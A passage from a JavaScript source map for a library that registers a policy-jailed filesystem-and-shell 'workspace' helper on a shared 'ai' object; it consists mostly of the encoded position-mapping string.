interface Ai {\n /** Build a policy-jailed filesystem + shell {@link Workspace}. */\n workspace(policy: WorkspacePolicy): Workspace;\n }\n}\n\n// Runtime registration: attach `workspace` onto the shared `ai` object the\n// moment this package is imported (the augmentation above types it).\nai.workspace = workspace;\n"],"mappings":"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